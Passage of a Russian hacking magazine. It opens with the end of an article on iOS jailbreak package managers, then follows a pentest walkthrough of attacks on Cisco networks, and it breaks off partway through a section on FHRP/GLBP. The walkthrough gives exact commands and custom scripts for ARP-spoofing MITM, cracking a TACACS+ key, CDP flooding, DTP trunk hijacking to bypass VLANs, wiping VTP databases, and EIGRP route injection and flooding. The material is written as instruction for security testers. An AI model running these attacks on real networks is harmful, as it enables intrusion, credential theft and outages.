ложе ния — начиная от цве та офор мле ния и икон ки и закан чивая филь тра ми
пакетов: нас тро ить порядок уста нов ки при ложе ний и тви ков, вклю чить
или отклю чить авто мати чес кое обновле ние, а так же вос поль зовать ся дру гими
опци ями. Более того, Zebra пол ностью переве дена на рус ский язык, что дела ет
интерфейс при ложе ния еще удоб нее.

Нас трой ки Zebra

INSTALLER 5

Еще одна аль тер натива Cydia: этот пакет ный менед жер уста нав лива ют
из репози тория . При пер вом запус ке при ложе ния

оно пред ложит тебе вой ти в акка унт AppTapp, но мож но про пус тить этот шаг,
нажав на малоза мет ную ссыл ку «Я хочу исполь зовать Installer без вхо да» в ниж- 
ней час ти экра на. В сле дующем окне есть воз можность импорти ровать
репози тории и нас трой ки из дру гих уста нов ленных на устрой стве пакет ных
менед жеров, что, сог ласись, очень удоб но — не при дет ся вби вать их вруч ную.

https://apptapp.me/repo

Пер вый запуск Installer 5

Внеш не магазин при ложе ний офор млен стиль но и при ятно. В тра дици онной
для менед жеров пакетов iOS ниж ней панели при сутс тву ют сле дующие знач ки:

«Глав ная» — основной экран при ложе ния с под борка ми «Луч шие тви ки»,
«Луч шие темы» и рас ширени ями для уста нов ленных при ложе ний;

•

«Изме нения» — перечень недав но обновлен ных и уста нов ленных пакетов;•
«Раз делы» — спи сок тви ков и при ложе ний, рас сорти рован ных по темам;•
«Управле ние» — перечень под клю чен ных репози тори ев (здесь мож но
добавить новый, нажав кноп ку »);

•

«Искать» — поиск при ложе ния по наз ванию.•

Ин терфейс Installer 5

По иск в Installer 5 орга низо ван дос таточ но удоб но: нап ример, мож но искать
все тви ки от какого-либо раз работ чика по его име ни вне зависи мос ти от того,
в каких репози тори ях они рас положе ны, так же есть воз можность выбирать вер- 
сию тви ка или при ложе ния для уста нов ки. Исто рия поис ка сох раня ется в жур- 
нале. Перед ска чива нием пакета при ложе ние пре дуп режда ет о воз можных
проб лемах с сов мести мостью и показы вает необ ходимые для его работы
зависи мос ти.

Installer 5 может работать на устрой стве вмес те с Cydia, Sileo и Zebra,
никаких кон флик тов замече но не было.

SAILY

Saily — это прос той и быс трый менед жер пакетов для iOS 13 и более новых
вер сий. При ложе ние дос тупно в репози тории 

, офи циаль ную стра нич ку раз работ чиков мож но отыс кать

по адре су .

http://apt.thebigboss.org/
repofiles/cydia/

https://sailyteam.github.io/
При пер вом запус ке ути лита так же пред лага ет импорти ровать все источни- 

ки из Cydia, Zebra, Installer и Sileo. Мож но было бы ска зать, что оче ред ной клон
дру гих ана логич ных про ектов, если бы не одна архи тек турная осо бен ность:
в отли чие от Cydia, базиру юще гося на dpkg, Saily явля ется надс трой кой
над под систе мой APT (advanced packaging tool) — еще одним инс тру мен том
для управле ния пакета ми из Debian.

Ин терфейс Saily

Пер вое, что бро сает ся в гла за при исполь зовании Saily, — кра сивый сов ремен- 
ный интерфейс. В этом менед жере пакетов пред став лены в основном тви ки,
но при ложе ния тоже есть. Как заверя ют раз работ чики, для покуп ки плат ного
кон тента в Saily встро ена собс твен ная безопас ная пла теж ная сис тема. Сре ди
дру гих инте рес ных опций — воз можность слу чай ным обра зом под менять
переда ваемую «наружу» информа цию об устрой стве, что бы сох ранить ано ним- 
ность.

Ин терфейс Saily стан дартен для менед жеров пакетов: глав ная стра ница
демонс три рует спи сок избран ных пакетов из репози тори ев, пос ледние уста- 
нов ленные пакеты и пос ледние обновле ния. Отсю да мож но перей ти на стра- 
ницу нас тро ек, нажав на зна чок шес терен ки в пра вом вер хнем углу. Уста нов- 
ленные пакеты отоб ража ются в виде прос того спис ка, отсорти рован ного
по дате, но метод сор тиров ки мож но изме нить, нап ример по име ни пакета
или дате пос ледне го изме нения. Ну и конеч но, в прог рамме при сутс тву ет
поиск, поз воля ющий най ти нуж ный твик или прог рамму в под клю чен ных
репози тори ях.

Saily может работать парал лель но с дру гими менед жерами пакетов, но для
запус ка при ложе нию необ ходима iOS 13, с более ран ними вер сиями сис темы
он несов местим.

ÂÛÂÎÄÛ

Нель зя ска зать, что любите лям джей лбрей ка нуж ны сра зу все опи сан ные
в этой статье менед жеры пакетов, но их сущес тво вание дает воз можность
выбора. Безус ловно, уста рев шая и доволь но мед литель ная Cydia тре бует
замены, и ты впол не можешь уста новить вмес то нее имен но то, что тебе нра- 
вит ся: Sileo, Zebra, Installer 5 или Saily. Говорят, что соз датель Cydia Джей Фри- 
ман (Saurik) дав ным-дав но заб росил свое детище. К тому же все эти аль тер- 
нативы под сте гива ют кон курен цию и дер жат в тонусе раз работ чиков, зас тавляя
их совер шенс тво вать и обновлять свои про дук ты. Это и называ ется звуч ным
сло вом «прог ресс».

mailto:valentin@holmogorov.ru
https://xakep.ru/2019/11/21/checkra1n/
https://xakep.ru/2022/06/22/cydia-2022/
https://xakep.ru/2022/07/29/cydia-2022-software/
https://sailyteam.github.io/
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ВЗЛОМ

За всю свою карь еру сетево го инже нера я повидал немало
сетей, где исполь зовалось обо рудо вание Cisco. И в боль- 
шинс тве слу чаев это обо рудо вание работа ло с кон фигура- 
цией по умол чанию, что ста вит локаль ную сеть под боль- 
шой удар со сто роны потен циаль ного наруши теля. Из этой
статьи ты узна ешь, какой кош мар может воз никнуть в сетях
Cisco, если к их нас трой ке отнеслись халат но.

Статья име ет озна коми тель ный харак тер и пред- 
наз на чена для спе циалис тов по безопас нос ти,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен нос ти
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас прос тра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÏÅÐÅÕÂÀÒ È ÄÅØÈÔÐÎÂÊÀ ÊËÞ×À TACACS+

TACACS+ (Terminal Access Controller Access Control System) — про токол, пред- 
назна чен ный для цен тра лизо ван ного опе риро вания учет ными запися ми,
которые исполь зуют ся непос редс твен но для адми нис три рова ния сетево го
обо рудо вания. Сер вер TACACS+ реша ет, поз волить или зап ретить дос туп
поль зовате лю, который пыта ется вой ти в панель управле ния сетевым обо рудо- 
вани ем.

У это го про токо ла есть две вер сии: TACACS и TACACS+. Мы будем раз- 
бирать ся имен но с TACACS+.

«Плю совая» вер сия отли чает ся повышен ным уров нем безопас ности
и интегри рован ным шиф ровани ем. Так же раз делены фун кции AAA (аутен- 
тифика ция, авто риза ция и учет), и их мож но исполь зовать по отдель нос ти.

Ес ли зло умыш ленник суме ет встать посере дине меж ду кли ентом и сер- 
вером TACACS, он смо жет перех ватить ключ для аутен тифика ции в зашиф- 
рован ном виде, а потом про вес ти про тив него локаль ный брут форс. То есть ты
и брут форсишь ключ, и в логах не палишь ся. И если тебе удас тся сбру тить
ключ, то ты смо жешь получить дос туп к сетево му обо рудо ванию и рас шифро- 
вать тра фик в Wireshark. Да, Wireshark уме ет работать с дву мя вер сиями про- 
токо ла TACACS. Пре дос тавив «Аку ле» ключ, ты смо жешь дешиф ровать осталь- 
ную часть дан ных, в которой хра нит ся логин поль зовате ля.

Øàã 1: MITM-àòàêà

Спер ва нуж но про вес ти MITM-ата ку, тут все зависит от обсто ятель ств и тво их
пред почте ний. Для при мера я реали зую ARP-спу финг в отно шении TACACS-
аген та и TACACS-сер вера.

В качес тве аген та TACACS выс тупит ком мутатор SW1 с IP-адре сом 
.

• 10.10.
100.10
В качес тве сер вера TACACS выс тупит TACACSGUI с адре сом 

.
• 10.10.100.
70

ARP-спу финг я реали зую через ути литу . Для начала необ ходимо
перек лючить интерфейс в нераз борчи вый режим и раз решить мар шру тиза цию:

Ettercap

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc 
1 necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=

За пус каем Ettercap:

necreas1ng@Inguz:~$ sudo ettercap -G

Ettercap

В качес тве прос лушива юще го интерфей са выс тупит eth0. Запус тим ска ниро- 
вание хос тов.

Ска ниро вание хос тов

Target 1 будет хост с IP-адре сом , а Target 2 — .10.10.100.10 10.10.100.70
Про водим ARP-спу финг про тив двух целей.

На чало ARP-спу фин га

Øàã 2: Loki

Те перь необ ходимо запус тить . Это спе циаль ный инс тру мент, соз данный
для ана лиза безопас ности про токо лов L2/L3. По воз можнос тям он не хуже той
же популяр ной Yersinia и сос тавля ет ей серь езную кон курен цию. Loki так же
уме ет брут форсить клю чи TACACS. В слу чае успе ха брут форса клю ча в зашиф- 
рован ном виде (обыч но он зашиф рован в фор мате MD5) мы смо жем получить
дос туп к обо рудо ванию и рас шифро вать зашиф рован ный TACACS-тра фик.

Loki

За пус каем Loki:

necreas1ng@Inguz:~$ sudo loki_gtk.py 

Вы бира ем интерфейс для ата ки.

Loki. Выбор интерфей са

Так же нуж но ука зать путь до сло варя, что бы про вес ти брут форс зашиф рован- 
ного клю ча. Обя затель но сни май галоч ку с опции Use Bruteforce, ина че Loki
будет ломать пароль пол ным перебо ром, не задей ство вав сам сло варь.

Нас трой ка пути до сло варя

Те перь нуж но ждать, пока легитим ный адми нис тра тор вой дет на устрой ство
через сер вер TACACS. Пред полага ется, что сетевой адми нис тра тор уже зашел,
а мы, встав посере дине через ARP-спу финг, перех ватыва ем тра фик. И при
этом легитим ные хос ты не понима ют, что в их соеди нение вме шал ся кто-то
пос торон ний.

Ло ки обна ружил соеди нение TACACS

Те перь нажима ем на кноп ку CRACK и ждем, пока Loki ломанет пароль.

Ло ки взло мал ключ TACACS. Пароль: secret1234

От лично, нам уда лось сбру тить ключ, теперь нуж но рас шифро вать TACACS-
тра фик. Как я и ска зал, Wireshark уме ет работать с зашиф рован ным тра фиком
TACACS при наличии клю ча.

Скар мли ваем «Аку ле» ключ

Ви дим, какой бан нер исполь зовал ся.

Ис поль зовав ший ся бан нер

Об наружи ваем логин поль зовате ля .admin

В ито ге у нас есть кре ды , с которы ми мож но зай ти на само

обо рудо вание. Пожалуй, про верю их на валид ность.

admin:secret1234

Ус пешная аутен тифика ция на обо рудо вании SW1

Вот таким обра зом мож но ата ковать TACACS+ и получать дос туп к панели
управле ния сетевым обо рудо вани ем.

ÀÒÀÊÈ ÍÀ ÏÐÎÒÎÊÎË CDP

CDP (Cisco Discovery Protocol) — раз работ ка инже неров Cisco Systems, про- 
токол каналь ного уров ня, соз данный для того, что бы устрой ства мог ли обме- 
нивать ся информа цией. CDP может помочь сетево му адми нис тра тору
и облегчить про цесс траб лшу тин га, но для зло умыш ленни ка... Сей час выяс- 
ним.

Ñáîð èíôîðìàöèè

По умол чанию CDP выпол няет рас сылку объ явле ний на все свои пор ты. Но что,
если зло умыш ленник под клю чит ся в порт того же ком мутато ра? Вос поль зовав- 
шись сетевым сниф фером, будь то Wireshark или tcpdump, он смо жет извлечь
цен ную информа цию о самом устрой стве — начиная его моделью и закан чивая
вер сией Cisco IOS. Вос поль зовав шись этой информа цией, он смо жет про вес ти
перечис ление той же вер сии Cisco IOS и най ти по ней уяз вимость, а затем про- 
экс плу ати ровать ее.

Дамп CDP-тра фика

DoS-àòàêà CDP Flooding

Ес ли зло умыш ленник спро воци рует рас сылку огромно го количес тва CDP-объ- 
явле ний, то сам флу динг вызовет перег рузку ком мутато ра и нарушит работу
сети. Так же будет перепол нять ся таб лица соседей CDP. Про водить эту ата ку
прос то, поэто му не буду вда вать ся в под робнос ти.

На этот раз мы вос поль зуем ся Yersinia:

necreas1ng@Inguz:~$ sudo yersinia -G

Инс тру мент обна ружил ком мутатор SW1

Выс тавля ем опцию ooding CDP table и начина ем ата ку. Цен траль ный про цес- 
сор ком мутато ра будет перег ружен, как и таб лица CDP-соседей, вследс твие
чего воз ника ет «сетевой паралич».

На чало ата ки

Пе рег ружен ный цен траль ный про цес сор ком мутато ра

Пе репол няющаяся таб лица CDP-соседей

Продолжение статьи →

mailto:necreas1ng@gmail.com
https://github.com/Ettercap/ettercap
https://c0decafe.de/svn/codename_loki/trunk/
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DTP (Dynamic Trunking Protocol) — про токол каналь ного уров ня, приз ванный
орга низо вать авто мати чес кую сис тему тран кинга. Бла года ря DTP ком мутато ры
сами реша ют, какой порт будет работать в режиме магис траль ного канала
(Trunk), а какой нет. На мой взгляд, исполь зование DTP говорит о некачес твен- 
ном дизай не сети. Тран ки дол жны быть стро го там, где они нуж ны, и это дол- 
жно быть задоку мен тирова но. Осо бен но смеш но, ког да сетевой инже нер сам
не зна ет, какой порт у него в тран ке, а какой в режиме дос тупа.

По умол чанию пор ты ком мутато ра работа ют в режиме Dynamic Auto.
Это говорит о том, что ком мутаци онный порт находит ся в режиме ини циации
тран ка со сто роны сосед него ком мутато ра. Пен тесте ру нуж но физичес ки под- 
клю чить ся к ком мутато ру и отпра вить кадр DTP Desirable, который триг герит
перек лючение пор та в режим тран ка. Далее зло умыш ленник смо жет про вес ти
перечис ление сетей VLAN с помощью ана лиза кад ров STP и обой ти сег мента- 
цию сети VLAN — соз дав вир туаль ные интерфей сы.

Под робнее об ата ке про токо ла DTP ты смо жешь
узнать из дру гой моей .статьи

Для ата ки понадо бит ся скрипт, который будет генери ровать кадр DTP
Desirable. Для это го я написал неболь шую прог рамму . Ее
исходный код открыт, можешь изу чить его.

DTPHijacking.py

Инс тру мент DTPHijacking.py

necreas1ng@Inguz:~$ sudo python3 DTPHijacking.py --interface eth0 

Стро ение DTP-инъ екции

Хо чу отме тить, что  ука зыва ет на то, что DTP-кадр

име ет тип Desirable, который велит пор ту перек лючить ся в режим Trunk. А 
 ука зыва ет на тип инкапсу ляции 802.1Q.

Access/Desirable (0x03)
802.

1Q/802.1Q (0xa5)

Ни в коем слу чае не пре рывай работу скрип та. Он
инжектит DTP Desirable каж дые три секун ды.
Соз данные динами чес ки магис траль ные каналы
на ком мутато ре живут все го пять минут. Через
пять минут транк отва лива ется.

Про ана лизи ровав STP-кад ры, мы узна ем о сущес тво вании сетей VLAN 30 и 60.

Ана лиз STP-кад ров

С дан ной информа цией и наличи ем транк-пор та мы можем получить дос туп
к этим сетям VLAN, при этом обой дя VLAN-сег мента цию. Необ ходимо будет
соз дать вир туаль ные интерфей сы и наз начить на них IP-адрес.

necreas1ng@Inguz:~$ sudo vconfig add eth0 30 
necreas1ng@Inguz:~$ sudo vconfig add eth0 60 
necreas1ng@Inguz:~$ sudo ifconfig eth0.30 up 
necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up 
necreas1ng@Inguz:~$ sudo dhclient -v eth0.30 
necreas1ng@Inguz:~$ sudo dhclient -v eth0.60 

По лучен ные адре са по DHCP для вир туаль ных интерфей сов

Ус пешные ICMP-зап росы в сто рону шлю зов сетей VLAN 30 и 60

Та ким обра зом, мож но обой ти VLAN-сег мента цию и получить дос туп к VLAN-
сетям.

ÑÅÒÅÂÎÉ ÏÀÐÀËÈ× ÏÐÈ ÀÒÀÊÅ ÍÀ VTP

VTP (VLAN Trunking Protocol) — про токол, соз данный для цен тра лизо ван ного
управле ния сетями VLAN. Что бы отсле живать акту аль ную базу дан ных VLAN,
ком мутато ры про веря ют спе циаль ные номера ревизии. Ког да про исхо дит
любое обновле ние таб лицы, номер ревизии повыша ется на еди ницу. И если
ком мутатор обна ружит кон фигура цию, у которой номер ревизии выше, он
авто мати чес ки обно вит свою базу дан ных VLAN.

Êàêèå áûâàþò ðîëè â VTP-äîìåíå
 Ком мутатор в роли VTP Server может соз давать новые VLAN,

уда лять ста рые или менять информа цию в самих VLAN. Так же он занима- 
ется генери рова нием объ явле ний VTP для осталь ных чле нов домена.

• VTP Server.

 Ком мутатор в этой роли будет получать спе циаль ные анон сы

VTP от дру гих ком мутато ров в домене, что бы обновлять базы дан ных VLAN
у себя. Кли енты огра ниче ны в воз можнос тях соз давать VLAN и даже
не име ют пра ва локаль но изме нять кон фигура цию VLAN. Ина че говоря,
дос туп read only.

• VTP Client.

 В этом режиме ком мутатор не учас тву ет в про цес сах

VTP и может вес ти у себя пол ное и локаль ное адми нис три рова ние всей
кон фигура ции VLAN. Работая в проз рачном режиме, ком мутато ры занима- 
ются толь ко переда чей объ явле ний VTP от дру гих ком мутато ров, не зат- 
рагивая свою кон фигура цию сетей VLAN. У таких ком мутато ров номер
ревизии всег да будет равен нулю, и про тив них ата ку про вес ти не получит- 
ся.

• VTP Transparent.

Òèïû îáúÿâëåíèé
 Объ явле ние VTP, которое сер вер VTP отправ- 

ляет каж дые 300 секунд (5 минут). В этом объ явле нии хра нит ся имя
домена VTP, вер сия про токо ла, отметка вре мени и зна чение MD5-хеша кон- 
фигура ции.

• Summary Advertisement.

 Это объ явле ние VTP, которое отправ ляет ся

при каж дом изме нении кон фигура ции VLAN.

• Subset Advertisement.

 — зап рос от кли ента VTP к сер веру VTP на сооб- 

щение . Обыч но рас сыла ется в ответ на сооб- 
щение о том, что ком мутатор обна ружил 
с бóльшим номером ревизии кон фигура ции.

• Advertisement Request

Summary Advertisement
Summary Advertisement

Ата ку на про токол VTP мож но про вес ти толь ко с тран кового пор та, пос коль ку
объ явле ния VTP тран сли руют ся и при нима ются толь ко на тран ковых пор тах.
Поэто му при пен тесте пос ле ата ки на DTP тво ей сле дующей целью может быть
VTP. Для ата ки на домен VTP я буду исполь зовать Yersinia. С ее помощью я
про веду VTP-инжект, который сти рает всю базу дан ных VLAN и тем самым
парали зует сеть.

У про токо ла VTP есть целых три вер сии. В этой
статье я про веду ата ку про тив пер вой вер сии —
VTPv1.

Для сти рания всей базы дан ных VLAN выбира ем опцию deleting all VTP vlans.

На чало ата ки на домен VTP

Ба за дан ных VLAN перед ата кой

Ба за дан ных VLAN пос ле ата ки

Се тевой паралич

Хост из сети VLAN 60 утра тил связ ность до шлю за.

Продолжение статьи →

http://xakep.ru/2022/01/19/dtp-hack/
http://github.com/necreas1ng/VLANPWN/blob/main/DTPHijacking.py
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ÀÒÀÊÈ ÍÀ ÏÐÎÒÎÊÎË EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) — про токол динами чес кой
мар шру тиза ции. Явля ется дис танци онно-век торным про токо лом. При отсутс- 
твии аутен тифика ции и кон фигура ции пас сивных интерфей сов зло умыш ленник
может вме шать ся в про цесс EIGRP-мар шру тиза ции и выз вать отравле ние таб- 
лиц мар шру тиза ции. Более того, сеть EIGRP (ина че говоря, авто ном ная сис- 
тема) «плос кая», и у нее отсутс тву ет сег мента ция на какие-либо зоны. Что
это может зна чить для ата кующе го? Ну, если он про ведет инъ екцию мар шру та,
то, ско рее все го, этот мар шрут рас простра нит ся по всей авто ном ной сис теме
EIGRP.

В пер вую оче редь для ата ки на авто ном ную сис тему EIGRP необ ходимо
уста новить соседс тво с легитим ным мар шру тиза тором EIGRP, что откры вает
боль шие воз можнос ти, начиная от базовой раз ведки и закан чивая раз ными
инъ екци ями.

Как уста нав лива ется соседс тво меж ду EIGRP-мар шру тиза тора ми

Не забывай, что без пред варитель ной уста нов ки
соседс тва легитим ные EIGRP-мар шру тиза торы
не будут реаги ровать на рас сыла емые тобой
сооб щения EIGRP (будь то , 
или дру гие).

Hello Update

Для это го я вос поль зуюсь . Это опен сор сное ПО, которое пред- 

назна чено для соз дания мар шру тиза тора в Unix и Linux. FRRouting поз воля ет
реали зовать вир туаль ный мар шру тиза тор, под держи вающий про токо лы BGP,
OSPF, EIGRP, RIP и дру гие. Его дос таточ но раз вернуть на сво ей ата кующей
сис теме, и фак тичес ки ты смо жешь прит ворить ся легитим ным роуте ром
в домене мар шру тиза ции. Как раз вернуть FRR на сво ей сис теме, я покажу
в сле дующем раз деле.

FRRouting

Для про веде ния атак на домены мар шру тиза ции
EIGRP я раз работал нес коль ко инс тру мен тов
и помес тил их в свой репози торий 
на GitHub. Там ты най дешь все инс тру мен ты,
которые я исполь зовал для ата ки на EIGRP в этой
статье.

EIGRPWN

Ðàçâåäêà â ñåòè

Под клю чение к домену мар шру тиза ции поз воля ет нам про вес ти перечис ление
и раз ведку сетей и не тра тить мно го вре мени на ска ниро вание. Это спо соб
зна читель но эко номит твое дра гоцен ное вре мя. К тому же при ска ниро вании
ты можешь спа лить ся перед сис темами безопас ности IPS/IDS. Как по мне,
под клю чение к домену и перечис ление — век тор ата ки на домены мар шру- 
тиза ции, который дарит тебе наиболь ший импакт.

Но для это го все го нуж но раз вернуть FRRouting. Прис тупим.
Не обхо димо отре дак тировать кон фигура цион ный файл . В нем

про писа ны кон фигура ции демонов в кон тек сте их активнос ти. Либо они под- 
клю чены (yes), либо нет (no). Нам нуж но акти виро вать работу демона eigrpd.

daemons

root@Inguz:~# nano /etc/frr/daemons 

eigrpd=yes

Ак тивация демона eigrpd

Пос ле это го нуж но поп равить файл , добавив в него строч ку, отве- 
чающую за сох ранение кон фигура ции в один файл, что бы кон фигура ции раз ных
про токо лов не рас кидыва ло в раз ные фай лы (нап ример, ,

). Нас тра ивает ся опци ональ но.

vtysh.conf

eigrpd.conf
staticd.conf

root@Inguz:~# nano /etc/frr/vtysh.conf 

service integrated-vtysh-config 

С кон фигура цией FRRouting закон чили. Теперь самое вре мя запус тить демон
FRR. И не забыва ем о раз решении мар шру тиза ции тра фика.

1 necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=
necreas1ng@Inguz:~$ systemctl start frr 

Сос тояние демона FRRouting

Ïîäêëþ÷åíèå ê äîìåíó ìàðøðóòèçàöèè EIGRP

С помощью коман ды  мы попадем в панель управле ния мар шру тиза- 

тором FRR.

vtysh

necreas1ng@Inguz:~$ sudo vtysh 
Inguz# show version 

Па нель управле ния FRR

Пе ред кон фигура цией EIGRP на мар шру тиза торе нуж но узнать номер авто ном- 
ной сис темы и понять, есть ли аутен тифика ция.

Дамп тра фика EIGRP

Как мы видим, номер авто ном ной сис темы EIGRP — 1. Аутен тифика ция
отсутс тву ет. С этой информа цией мы без тру да смо жем под клю чить ся
к домену мар шру тиза ции EIGRP.

Не забывай, что домен мар шру тиза ции EIGRP
может быть защищен аутен тифика цией. Но у
тебя все еще есть шанс под клю чить ся к домену
мар шру тиза ции. Во вре мя рас сылки пакетов при- 
ветс твия в них так же находят ся крип тогра фичес- 
кие хеши. Если ты суме ешь извлечь эти хеши
из дам па тра фика и сбру тить пароль, ты смо- 
жешь вой ти с этим паролем в домен мар шру- 
тиза ции.

Пе рехо дим в режим гло баль ной кон фигура ции и запус каем про цесс EIGRP,
ука зыва ем номер авто ном ной сис темы — 1.

Inguz# conf t 
Inguz(config)# router eigrp 1
Inguz(config-router)# network 10.10.100.50/32

Пос ле это го уста нав лива ется соседс тво меж ду легитим ными EIGRP-мар шру- 
тиза тора ми. В моей сети их два:

мар шру тиза тор GW1 по адре су ;• 10.10.100.100
мар шру тиза тор GW2 по адре су .• 10.10.100.200

Ус танов ление соседс тва с мар шру тиза тором GW1

Ус танов ление соседс тва с мар шру тиза тором GW2

Во вре мя уста нов ления и под держа ния соседс тва меж ду EIGRP-мар шру тиза- 
тора ми роуте ры обме нива ются сво ей мар шрут ной информа цией. Пос ле уста- 
нов ления соседс тва в нашей таб лице мар шру тиза ции ата кующей сис темы
появят ся новые мар шру ты, а имен но:

10.1.239.0/24 via 10.10.100.100;•
30.30.30.0/24 via 10.10.100.100;•
100.100.100.0/24 via 10.10.100.100;•
172.16.100.0/24 via 10.10.100.200.•

Таб лица мар шру тиза ции ата кующей сис темы пос ле под клю чения
к домену EIGRP

Та ким обра зом, пос ле уста нов ления соседс тва мы узна ли о сущес тво вании
этих под сетей, что облегча ет нам задачу в пен тесте и поз воля ет сэконо мить
вре мя. Мы можем обой тись без допол нитель ного ска ниро вания под сетей.
Теперь мы в домене мар шру тиза ции EIGRP и можем раз вивать некото рые век- 
торы атак. О них и погово рим даль ше.

Ïîääåëüíûå ñîñåäè EIGRP

Я выяс нил, что генера ция и быс трая рас сылка мас совых пакетов при ветс твия
про токо ла EIGRP при водит к перег рузке цен траль ного про цес сора мар шру- 
тиза тора, что, в свою оче редь, может открыть воз можность для DoS-ата ки. Я
раз работал неболь шой скрипт , но мне кажет ся, что скрип ту

не хва тает ско рос ти рас сылки пакетов. Все му виной — GIL, который меша ет
запус тить фун кцию  в нес коль ко потоков в секун ду. Со вре менем я

перепи шу скрипт на C.

helloflooding.py

sprayhello

Инс тру мент helloooding.py

Ар гумен ты скрип та:
ин терфейс ата кующей сис темы;•
но мер авто ном ной сис темы EIGRP;•
под сеть, в которой находит ся ата кующая сис тема. В моем слу чае под сеть

.
•
10.10.100.0/24

 1 
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 helloflooding.py 
--interface eth0 --asn --subnet 10.10.100.0/24 

Пе рег рузка цен траль ного про цес сора во вре мя флу дин га

Как вид но из скрин шота выше, наг рузка на цен траль ный про цес сор воз росла
до 98%.

×åðíàÿ äûðà

Суть этой ата ки зак люча ется в прос той инъ екции лож ного мар шру та, который
отра вит таб лицу мар шру тиза ции. Тра фик, допус тим, сети 

будет лететь в никуда, вызывая отказ в обслу жива нии. Такую ата ку называ ют
Blackhole («чер ная дыра»). В качес тве инс тру мен та для ее про веде ния выс- 
тупит скрипт .

10.10.100.0/24

routeinject.py

Инс тру мент routeinject.py

Ар гумен ты:
ин терфейс ата кующей сис темы;•
но мер авто ном ной сис темы EIGRP;•
IP-адрес ата кующе го;•
IP-адрес целевой под сети, тра фик в которую будет отправ лен в «чер ную
дыру»;

•

мас ка целевой под сети.•

В рам ках это го при мера я отправ лю в «чер ную дыру» тра фик, пред назна чен ный
для хос та .172.16.100.140/32

 1 
 32 

necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routeinject.py 
--interface eth0 --asn --src 10.10.100.50 --dst 172.16.100.140 
--prefix

Стро ение вре донос ной инъ екции мар шру та

По пыт ки легитим ного хос та пин гануть целевой сер вер

Как мы видим, хост теря ет связ ность до хос та  из-за инъ- 

екции мар шру та.

172.16.100.140/32

От равлен ный роут в таб лице мар шру тиза ции GW1

Çëîóïîòðåáëåíèå K-çíà÷åíèÿìè

Что бы уста новить соседс тво EIGRP, мар шру тиза торы исполь зуют спе циаль ные
K-зна чения. Они дол жны быть оди нако выми сре ди всех EIGRP-соседей. Если
хотя бы одно из K-зна чений не будет сов падать, воз никнет ава рия в домене
EIGRP и соседс тво будет разор вано. Для про веде ния этой ата ки нам пос лужит
инс тру мент .relationshipnightmare.py

Инс тру мент relationshipnightmare.py

Для работы скрип та необ ходимо ука зать:
ин терфейс ата кующей сис темы;•
но мер авто ном ной сис темы EIGRP;•
IP-адрес легитим ного мар шру тиза тора.•

От име ни ука зан ного IP и будет отправ лен инжект на муль тикас товый IP-адрес
EIGRP, в котором K-зна чения отли чают ся. В моем слу чае я буду раз рывать
соседс тво от име ни мар шру тиза тора GW1 (его адрес — ).10.10.100.100

На чина ем ата ку.

 1 
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 relationshipnightmare.py 
--interface eth0 --asn --src 10.10.100.100 

Дамп тра фика во вре мя раз рыва соседс тва

Мар шру тиза тор GW1 бес конеч но раз рыва ет и вос ста нав лива ет связь

Та ким обра зом мож но про вес ти DoS-ата ку. Во вре мя экс плу ата ции воз ника ют
бес конеч ные раз рывы и попыт ки уста новить соседс тво, что парали зует работу
час ти домена мар шру тиза ции EIGRP.

Ïåðåïîëíåíèå òàáëèö ìàðøðóòèçàöèè

Суть этой ата ки зак люча ется в том, что бы спро воци ровать отправ ку огромно го
количес тва лож ных мар шру тов, которые будут перепол нять таб лицу мар шру- 
тиза ции. Это исто щает вычис литель ные ресур сы мар шру тиза тора, а имен но
про цес сора и опе ратив ной памяти, пос коль ку инжекты про исхо дят
на огромной ско рос ти. Реали зова на эта ата ка в скрип те

.routingtableoverflow.py

Ар гумен ты:
ин терфейс ата кующей сис темы;•
но мер авто ном ной сис темы EIGRP;•
IP-адрес ата кующе го.•

Инс тру мент routingtableoverow.py

На чина ем ата ку.

 1 
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routingtableoverflow.py 
--interface eth0 --asn --src 10.10.100.50 

Таб лица мар шру тиза ции начина ет перепол нять ся мар шру тами. Ран домные
адре са целевых сетей обус ловле ны исполь зовани ем  в Scapy.RandIP()

Пе репол няющаяся таб лица мар шру тиза ции на роуте ре GW1

Цен траль ный про цес сор мар шру тиза тора наг ружен до 96%.

Пе рег ружен ный CPU мар шру тиза тора

Продолжение статьи →

https://github.com/necreas1ng/EIGRPWN
https://github.com/necreas1ng/EIGRPWN
https://github.com/necreas1ng/EIGRPWN/blob/main/routeinject.py
https://github.com/necreas1ng/EIGRPWN/blob/main/relationshipnightmare.py
https://github.com/necreas1ng/EIGRPWN/blob/main/routingtableoverflow.py
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MITM-ÀÒÀÊÀ ×ÅÐÅÇ ÀÁÜÞÇ ÏÐÎÏÐÈÅÒÀÐÍÛÕ FHRP-ÏÐÎÒÎÊÎËÎÂ
CISCO

Çà÷åì íóæåí FHRP
FHRP (First Hop Redundancy Protocol) — класс сетевых про токо лов, пред назна- 
чен ных для соз дания сис темы горяче го резер вирова ния мар шру тиза ции.
С помощью FHRP физичес кие мар шру тиза торы могут объ еди нять ся в одно
логичес кое устрой ство, что повыша ет отка зоус той чивость и помога ет рас пре- 
делять наг рузку.

Ин женеры Cisco Systems раз работа ли два FHRP-про токо ла — это GLBP
и HSRP, пен тест которых я про демонс три рую даль ше.

Óãîí GLBP è ïåðåõâàò òðàôèêà
GLBP (Gateway Load Balancing Protocol) — это еще одна раз работ ка инже неров
Cisco Systems, соз данная для орга низа ции сис темы горяче го резер вирова ния
мар шру тиза торов. Явля ется частью клас са про токо лов FHRP. В отли чие
от HSRP и VRRP, пред лага ет нас тоящую балан сиров ку наг рузки, а имен но:

round-robin (по умол чанию GLBP исполь зует имен но этот вари ант);•
host-dependent;•
weighted-like.•

Ðîëè â GLBP-äîìåíå è òåðìèíîëîãèÿ
 — мар шру тиза тор с гла венс тву ющей ролью,

так же отве чает за раз дачу MAC-адре сов осталь ным мар шру тиза торам в рам ках
